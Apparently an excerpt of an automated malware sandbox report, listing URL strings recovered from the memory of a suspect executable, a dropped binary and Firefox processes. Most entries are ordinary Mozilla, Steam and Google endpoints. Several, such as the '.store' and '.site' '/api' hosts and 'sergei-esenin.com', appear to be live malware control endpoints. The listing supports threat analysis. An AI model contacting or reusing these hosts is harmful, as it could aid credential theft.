https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2256581532.0000000005F77000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3118269437.0000000005227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000031.00000003.3299369547.000001F810ADB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000003.3128539631.000002AE09131000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3157348195.000002AE08F73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3307024011.000001F810BB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000003.3190660174.000002AE0D283000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://eaglepawnoy.store:443/api=a
Source: firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000023.00000002.3205919876.000002290822F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000031.00000003.3285804560.000001F87FBE6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/re2/blob/master/doc/syntax.txt
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.co
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000023.00000002.3205919876.00000229082EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000023.00000002.3205919876.0000022908286000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3270730271.000001F87E8DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001E.00000002.3212320962.0000027F67372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestabout
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: 3f779c1cca.exe, 0000000E.00000003.3078062554.0000000005220000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/
Source: 3f779c1cca.exe, 0000000B.00000003.2963511437.0000000001222000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2963558725.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960551595.000000000121F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/-Control
